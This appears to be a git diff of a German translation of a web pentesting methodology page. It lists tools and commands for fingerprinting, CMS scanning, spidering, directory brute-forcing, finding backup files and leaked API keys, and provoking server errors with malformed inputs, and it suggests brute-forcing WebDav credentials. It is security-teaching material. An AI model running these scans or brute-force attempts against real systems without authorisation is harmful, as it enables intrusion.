[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)oder [**https://builtwith.com/**](https://builtwith.com)**:** +Prüfen Sie, ob es **known vulnerabilities** für die laufende Server-**version** gibt.\ +Die **HTTP headers and cookies of the response** können sehr nützlich sein, um die **technologies** und/oder die **version** zu **identify**. Ein **Nmap scan** kann die Server-Version identifizieren, aber auch die Tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) oder [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Suche **nach** [**Schwachstellen der Webanwendungs-Version**](../../generic-hacking/search-exploits.md) +Suche **nach** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **Prüfen, ob ein WAF vorhanden ist** @@ -65,7 +65,7 @@ Suche **nach** [**Schwachstellen der Webanwendungs-Version**](../../generic-hack ### Web-Technik-Tricks -Einige **Tricks**, um **Schwachstellen zu finden** in verschiedenen bekannten **Technologien**, die verwendet werden: +Einige **Tricks** für **finding vulnerabilities** in verschiedenen bekannten **Technologien**, die verwendet werden: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,27 +101,27 @@ Einige **Tricks**, um **Schwachstellen zu finden** in verschiedenen bekannten ** - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Beachte, dass dieselbe **Domain** verschiedene **Technologien** in unterschiedlichen **Ports**, **Ordnern** und **Subdomains** verwenden kann._\ -Wenn die Webanwendung eine der oben genannten bekannten **Technologien/Plattformen** oder eine **andere** verwendet, vergiss nicht, im Internet nach neuen Tricks zu suchen (und sag mir Bescheid!). +_Beachte, dass die **gleiche Domain** in verschiedenen **Ports**, **Ordnern** und **Subdomains** unterschiedliche **Technologien** verwenden kann._\ +Wenn die Webanwendung eine der zuvor genannten **Tech/Plattformen** oder **eine andere** verwendet, vergiss nicht, **im Internet nach neuen Tricks zu suchen** (und sag mir Bescheid!). -### Quellcode-Überprüfung +### Quellcode-Review -Wenn der **Quellcode** der Anwendung in **github** verfügbar ist, gibt es neben einem eigenen **White box test** der Anwendung einige Informationen, die für das aktuelle **Black-Box testing** nützlich sein könnten: +Wenn der **source code** der Anwendung in **github** verfügbar ist, gibt es neben der Durchführung eines **White-Box-Tests** der Anwendung einige Informationen, die für das aktuelle **Black-Box-Testing** nützlich sein könnten: -- Existiert eine **Change-log**, **Readme** oder **Version**-Datei oder irgendetwas mit **zugänglichen Versionsinformationen** über das Web? -- Wie und wo werden die **credentials** gespeichert? Gibt es eine (zugängliche?) **file** mit credentials (Benutzernamen oder Passwörtern)? -- Sind **passwords** im **Plaintext**, **verschlüsselt** oder welcher **hashing algorithm** wird verwendet? -- Wird ein **master key** zum Verschlüsseln verwendet? Welcher **algorithm** wird eingesetzt? -- Kannst du durch Ausnutzung einer Schwachstelle auf **any of these files** zugreifen? -- Gibt es interessante Informationen im **github** (gelöste und ungelöste) **issues**? Oder in der **commit history** (vielleicht wurde ein **password introduced inside an old commit**)? +- Gibt es eine **Change-log or Readme or Version** Datei oder irgendetwas mit **version info accessible** über das Web? +- Wie und wo sind die **credentials** gespeichert? Gibt es eine (zugängliche?) **file** mit credentials (usernames oder passwords)? +- Sind **passwords** im **plain text**, **encrypted**, oder welcher **hashing algorithm** wird verwendet? +- Verwendet die Anwendung einen **master key** zum Verschlüsseln? Welcher **Algorithmus** wird eingesetzt? +- Kannst du durch Ausnutzung einer vulnerability auf **any of these files** zugreifen? +- Gibt es interessante Informationen im **github** (solved and not solved) in den **issues**? Oder im **commit history** (vielleicht wurde dort ein **password introduced inside an old commit**)? {{#ref}} code-review-tools.md {{#endref}} -### Automatische Scanner +### Automatic scanners -#### Allgemeine automatische Scanner +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -135,12 +135,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### CMS-Scanner -Wenn ein CMS verwendet wird, nicht vergessen, **einen Scanner laufen zu lassen**, vielleicht findet sich etwas Verwundbares: +Wenn ein CMS verwendet wird, vergiss nicht, **einen Scanner auszuführen**, vielleicht wird etwas Interessantes gefunden: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Websites auf Sicherheitslücken prüfen. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Websites auf Sicherheitsprobleme. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **oder** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -148,13 +148,13 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> An diesem Punkt solltest du bereits einige Informationen über den vom Client verwendeten Webserver haben (falls Daten vorliegen) und einige Tricks, die du während des Tests beachten solltest. Wenn du Glück hast, hast du sogar ein CMS gefunden und einen Scanner laufen lassen. +> An diesem Punkt solltest du bereits einige Informationen über den vom Client verwendeten Webserver haben (sofern Daten vorliegen) und einige Tricks, die du während des Tests beachten solltest. Wenn du Glück hast, hast du sogar ein CMS gefunden und einen Scanner ausgeführt. -## Schritt-für-Schritt Webanwendungs-Erkennung +## Schritt-für-Schritt Web Application Discovery -> Ab hier werden wir anfangen, mit der Webanwendung zu interagieren. +> Ab diesem Punkt werden wir anfangen, mit der Webanwendung zu interagieren. -### Erste Prüfungen +### Erste Checks **Standardseiten mit interessanten Informationen:** @@ -163,30 +163,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Prüfe auch Kommentare auf Haupt- und Unterseiten. +- Überprüfe auch Kommentare auf den Haupt- und Sekundärseiten. -**Fehler erzwingen** +**Fehler provozieren** -Webserver können sich **unerwartet verhalten**, wenn seltsame Daten an sie gesendet werden. Das kann **Schwachstellen öffnen** oder **sensible Informationen preisgeben**. +Webserver können sich **unerwartet verhalten**, wenn ihnen ungewöhnliche Daten geschickt werden. Das kann **vulnerabilities** öffnen oder zur **Offenlegung sensibler Informationen** führen. -- Greife auf **gefälschte Seiten** wie /whatever_fake.php (.aspx,.html,.etc) zu -- **Füge "\[]", "]]", und "\[\["** in **Cookiewerte** und **Parameterwerte** ein, um Fehler zu erzeugen -- Erzeuge einen Fehler, indem du als Input **`/~randomthing/%s`** am **Ende** der **URL** angibst -- Probiere **verschiedene HTTP-Verben** wie PATCH, DEBUG oder falsche wie FAKE +- Greife auf **fake pages** wie /whatever_fake.php (.aspx,.html,.etc) zu +- **Add "\[]", "]]", and "\[\["** in **cookie values** und **parameter** values, um Fehler zu erzeugen +- Erzeuge Fehler, indem du als Eingabe **`/~randomthing/%s`** am **Ende** der **URL** verwendest +- Probiere **verschiedene HTTP Verbs** wie PATCH, DEBUG oder falsche wie FAKE #### **Prüfe, ob du Dateien hochladen kannst (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Wenn du feststellst, dass **WebDav** **aktiviert** ist, du aber nicht genügend Berechtigungen hast, um **Dateien hochzuladen** im Root-Ordner, versuche: +Wenn du feststellst, dass **WebDav** aktiviert ist, du aber nicht genügend Berechtigungen zum **Hochladen von Dateien** im Root-Ordner hast, versuche: - **Brute Force** Zugangsdaten -- **Lade Dateien hoch** via WebDav in die **restlichen** der **gefundenen Ordner** innerhalb der Webseite. Möglicherweise hast du Berechtigungen, Dateien in anderen Ordnern hochzuladen. +- **Upload files** via WebDav in die **rest** der gefundenen Ordner innerhalb der Webseite. Möglicherweise hast du Berechtigungen, Dateien in anderen Ordnern hochzuladen. -### **SSL/TLS-Schwachstellen** +### **SSL/TLS vulnerabilites** -- Wenn die Anwendung **die Nutzung von HTTPS nicht erzwingt** in irgendeinem Bereich, dann ist sie **anfällig für MitM** -- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP sendet**. Dann ist das eine schwerwiegende Schwachstelle. +- Wenn die Anwendung die Nutzung von **HTTPS** in keinem Bereich erzwingt, ist sie anfällig für **MitM** +- Wenn die Anwendung **sensible Daten (Passwörter) über HTTP** sendet, dann ist das eine hohe **vulnerability**. -Verwende [**testssl.sh**](https://github.com/drwetter/testssl.sh), um auf **Schwachstellen** zu prüfen (in Bug Bounty-Programmen werden solche Schwachstellen wahrscheinlich nicht akzeptiert) und verwende [**a2sv**](https://github.com/hahwul/a2sv), um die Schwachstellen erneut zu überprüfen: +Verwende [**testssl.sh**](https://github.com/drwetter/testssl.sh) um auf **vulnerabilities** zu prüfen (In Bug Bounty programs werden diese Arten von Schwachstellen wahrscheinlich nicht akzeptiert) und verwende [**a2sv** ](https://github.com/hahwul/a2sv) um die vulnerabilities nachzuprüfen: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -202,53 +202,53 @@ Information about SSL/TLS vulnerabilities: ### Spidering -Starten Sie irgendeine Art von **spider** im Web. Das Ziel des spider ist es, **so viele Pfade wie möglich** der getesteten Applikation zu finden. Daher sollten Web-Crawling und externe Quellen genutzt werden, um so viele gültige Pfade wie möglich zu ermitteln. +Starte irgendeine Art von **spider** im Web. Das Ziel des spider ist es, **so viele Pfade wie möglich** der getesteten Anwendung zu **finden**. Daher sollten Web-Crawling-Tools und externe Quellen verwendet werden, um so viele valide Pfade wie möglich zu entdecken. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files und externe Quellen (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, mit LinkFider für JS files und Archive.org als externe Quelle. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, zeigt außerdem "juicy files" an. - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiver CLI HTML spider. Sucht ebenfalls in Archive.org. -- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein spider, kann aber nützlich sein. Du kannst einfach eine Datei mit hosts und eine Datei mit paths angeben; meg holt dann jeden path auf jedem host und speichert die Response. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS rendering Fähigkeiten. Scheint allerdings unmaintained zu sein, die vorkompilierte Version ist alt und der aktuelle Code kompiliert nicht. -- [**gau**](https://github.com/lc/gau) (go): HTML spider, der externe Provider verwendet (wayback, otx, commoncrawl). -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Script findet URLs mit Parameter und listet sie auf. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider mit JS rendering Fähigkeiten. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider mit JS beautify Fähigkeiten, fähig, neue Pfade in JS files zu suchen. Es kann sich lohnen, auch [JSScanner](https://github.com/dark-warlord14/JSScanner) anzusehen, das ein Wrapper für LinkFinder ist. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpoints sowohl aus HTML-Quelltext als auch eingebetteten javascript files. Nützlich für bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein python 2.7 Script, das Tornado und JSBeautifier verwendet, um relative URLs aus JavaScript files zu parsen. Nützlich, um AJAX-Requests leicht zu entdecken. Sieht unmaintained aus. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gibt man eine Datei (HTML) an, extrahiert es URLs daraus unter Verwendung cleverer regulärer Ausdrücke, um relative URLs aus uglify/minify Dateien zu finden. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS files mithilfe verschiedener Tools. +- [**meg**](https://github.com/tomnomnom/meg) (go): Dieses Tool ist kein spider, kann aber nützlich sein. Du kannst eine Datei mit Hosts und eine Datei mit Pfaden angeben; meg holt dann jede Kombination und speichert die Antwort. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider mit JS-Rendering-Fähigkeiten. Sieht aber unmaintained aus; die vorkompilierte Version ist alt und der aktuelle Code kompiliert nicht. +- [**gau**](https://github.com/lc/gau) (go): HTML spider, der externe Provider nutzt (wayback, otx, commoncrawl). +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Dieses Script findet URLs mit Parametern und listet sie auf. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider mit JS-Rendering-Fähigkeiten. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, mit JS-beautify-Fähigkeiten, der neue Pfade in JS files suchen kann. Es lohnt sich auch, einen Blick auf [JSScanner](https://github.com/dark-warlord14/JSScanner) zu werfen, ein Wrapper von LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Extrahiert Endpoints sowohl aus HTML-Quelltext als auch eingebetteten javascript files. Nützlich für bug hunter, red teamer, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ein python 2.7 Script mit Tornado und JSBeautifier, um relative URLs aus JavaScript files zu parsen. Nützlich, um AJAX-Requests zu entdecken. Scheint unmaintained. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Nimmt eine Datei (HTML) und extrahiert URLs mit cleveren RegEx, um relative URLs aus uglified/minified Dateien zu finden. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, mehrere Tools): Sammelt interessante Informationen aus JS files mittels verschiedener Tools. - [**subjs**](https://github.com/lc/subjs) (go): Findet JS files. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless browser und gibt alle URLs aus, die geladen werden, um die Seite darzustellen. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Lädt eine Seite in einem headless Browser und gibt alle URLs aus, die geladen wurden. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content-Discovery-Tool, das mehrere Optionen der vorherigen Tools kombiniert. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp extension, um Pfade und params in JS files zu finden. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das given the .js.map URL den beautified JS-Code liefert. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Tool zum Entdecken von Endpoints für ein gegebenes Ziel. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (auch das Herunterladen der Responses in der wayback und das Suchen nach weiteren Links). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlt (auch durch Ausfüllen von Formularen) und findet außerdem sensible Infos mittels spezifischer regexes. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortgeschrittener Multi-Feature GUI Web-Security Crawler/Spider für Cyber-Security-Professionals. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, secrets und anderen interessanten Daten aus JavaScript-Source-Code. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **Parameter und Endpoints** aus Requests zu extrahieren und custom wordlist für Fuzzing und Enumeration zu erstellen. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Gibt jeden Link aus, den es finden kann. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Eine Burp-Extension, um Pfade und Params in JS files zu finden. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das anhand der .js.map URL den beautified JS-Code beschafft. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ein Tool zum Aufdecken von Endpoints für ein gegebenes Ziel. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (auch Herunterladen der Antworten in der wayback und weitere Link-Suche). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlt (sogar durch Ausfüllen von Formularen) und findet außerdem sensitive Info mittels spezifischer Regexes. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortgeschrittener, multifunktionaler GUI Web Security Crawler/Spider für Cyber-Security-Professionals. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ein Go-Package und [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, secrets und anderen interessanten Daten aus JavaScript-Quellcode. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite extension**, um **die Parameter und Endpoints** aus Requests zu extrahieren und benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Super Tool für diesen Zweck. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Gibt jeden gefundenen Link aus. ### Brute Force directories and files -Beginne mit dem **brute-forcing** ab dem Root-Ordner und stelle sicher, dass du **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und alle Verzeichnisse, die durch das **Spidering** entdeckt wurden, brute-forcest (du kannst dieses brute-forcing **rekursiv** durchführen und die Namen der gefundenen Verzeichnisse am Anfang der verwendeten wordlist einfügen).\ +Start **brute-forcing** from the root folder und stelle sicher, dass du **alle** mit **dieser Methode** gefundenen **Directories** sowie alle durch die **Spidering** entdeckten Verzeichnisse brute-forcest (du kannst das brute-forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\ Tools: -- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**) aber funktionsfähig. Erlaubt self-signed certificates und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed certificates, aber** rekursive Suche. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Erlaubt self-signed certificates, es hat aber **keine** **rekursive** Suche. +- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Unterstützt self-signed certificates und rekursive Suche. Im Vergleich zu den anderen Optionen zu langsam. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed certificates, aber** rekursive Suche ist möglich. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Unterstützt self-signed certificates, hat aber **keine** **rekursive** Suche. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Schnell, unterstützt rekursive Suche.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Schnell: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Kein spider, sondern ein Tool, das aus einer Liste gefundener URLs doppelte Einträge entfernt. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension, um aus dem Burp-History verschiedener Seiten eine Liste von Verzeichnissen zu erstellen. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit doppelten Funktionalitäten (basierend auf js imports). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Verwendet Wappalyzer, um eingesetzte Technologien zu erkennen und passende Wortlisten auszuwählen. +- [**uro**](https://github.com/s0md3v/uro) (python): Kein spider, aber ein Tool, das aus einer Liste gefundener URLs doppelte Einträge entfernt. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-Extension, um eine Liste von Verzeichnissen aus dem Burp-History verschiedener Seiten zu erstellen. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit doppelter Funktionalität (basierend auf js imports). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Nutzt Wappalyzer, um eingesetzte Technologien zu erkennen und passende Wortlisten auszuwählen. -**Recommended dictionaries:** +**Empfohlene Wortlisten:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -267,41 +267,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Beachte, dass jedes Mal, wenn während des brute-forcing oder Spidering ein neues Verzeichnis entdeckt wird, dieses ebenfalls brute-forced werden sollte._ +_Beachte, dass jedes Mal wenn während des brute-forcing oder der spidering ein neues Verzeichnis entdeckt wird, dieses ebenfalls Brute-Forciert werden sollte._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Findet broken links in HTMLs, die anfällig für takeovers sein könnten. -- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Gängige Varianten für Backup-Namen sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**** verwenden. -- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, solltest du versuchen, versteckte Parameter in jeder ausführbaren Web-Datei zu suchen.** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers +- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Backup-Namensvariationen sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.** +- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, solltest du versteckte Parameter in jeder ausführbaren Web-Datei suchen.** - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Prüfe die Kommentare aller Dateien; du kannst dort **Credentials** oder **versteckte Funktionalität** finden. -- Wenn du in einem **CTF** spielst, ist ein gängiger Trick, **Informationen** in Kommentaren am **rechten Rand** der **Seite** zu **verstecken** (mit **hunderten** von **Spaces**, sodass du die Daten nicht siehst, wenn du den Source-Code im Browser öffnest). Eine andere Möglichkeit ist, mehrere neue Zeilen zu verwenden und Informationen in einem Kommentar am **Seitenende** zu verstecken. -- **API keys**: Wenn du **irgendeinen API key** findest, gibt es Projekte, die zeigen, wie man API keys verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Wenn du einen API key findest, der mit **AIza** beginnt (z.B. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu prüfen, welche APIs der Key aufrufen kann. -- **S3 Buckets**: Während des Spidering prüfe, ob eine **Subdomain** oder ein **Link** mit einem **S3 bucket** zusammenhängt. In diesem Fall solltest du die [**Permissions** des Buckets prüfen](buckets/index.html). +- **Comments:** Überprüfe die Comments aller Dateien — dort können **credentials** oder **versteckte Funktionalitäten** zu finden sein. +- Wenn du **CTF** spielst, ist ein häufiger Trick, **Informationen** in Comments am **rechten Rand** der **Seite** zu **verstecken** (mittels **hunderten** von **Spaces**, sodass du die Daten nicht siehst, wenn du den Quellcode im Browser öffnest). Eine andere Möglichkeit ist, mehrere neue Zeilen zu verwenden und Informationen in einem Kommentar am **Seitenende** zu verstecken. +- **API keys**: Wenn du einen API key findest, gibt es Projekte, die zeigen, wie man API keys verschiedener Plattformen nutzt: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Wenn du einen API key findest, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) nutzen, um zu prüfen, welche APIs der Key aufrufen darf. +- **S3 Buckets**: Während des spidering prüfe, ob eine **Subdomain** oder ein **Link** auf einen **S3 bucket** verweist. In diesem Fall [prüfe die Berechtigungen des Buckets](buckets/index.html). ### Special findings -Während du das **spidering** und **brute-forcing** durchführst, kannst du auf **interessante** **Dinge** stoßen, die du beachten musst. +**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. **Interessante Dateien** -- Suche nach **Links** zu anderen Dateien innerhalb von **CSS** files. +- Achte auf **Links** zu anderen Dateien innerhalb von **CSS** files. - [If you find a _**.git**_ file some information can be extracted](git.md) -- Wenn du eine _**.env**_ findest, können dort API keys, DB-Passwörter und andere Informationen stehen. -- Wenn du **API endpoints** findest, solltest du diese [auch testen](web-api-pentesting.md). Diese sind keine Dateien, werden aber wahrscheinlich wie solche aussehen. -- **JS files**: In der Spidering-Sektion wurden mehrere Tools erwähnt, die Pfade aus JS files extrahieren können. Es ist außerdem interessant, **jede gefundene JS-Datei zu überwachen**, da eine Änderung darauf hinweisen kann, dass eine potenzielle Schwachstelle in den Code eingeführt wurde. Du könntest z.B. [**JSMon**](https://github.com/robre/jsmon)** verwenden.** -- Du solltest gefundene JS files auch mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) prüfen, um bekannte Vulnerabilities zu finden. +- Wenn du eine _**.env**_ findest, können Informationen wie api keys, DB-Passwörter und andere vertrauliche Daten darin stehen. +- Wenn du **API endpoints** findest, solltest du [diese auch testen](web-api-pentesting.md). Diese sind zwar keine Dateien, sehen aber oft so aus. +- **JS files**: In der Spidering-Sektion wurden bereits Tools erwähnt, die Pfade aus JS files extrahieren können. Es ist auch sinnvoll, jede gefundene JS-Datei zu **monitoren**, da eine Änderung anzeigen kann, dass eine potenzielle Verwundbarkeit in den Code eingeführt wurde. Du könntest z.B. [**JSMon**](https://github.com/robre/jsmon)** verwenden.** +- Prüfe gefundene JS files außerdem mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole), um bekannte Verwundbarkeiten zu finden. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** 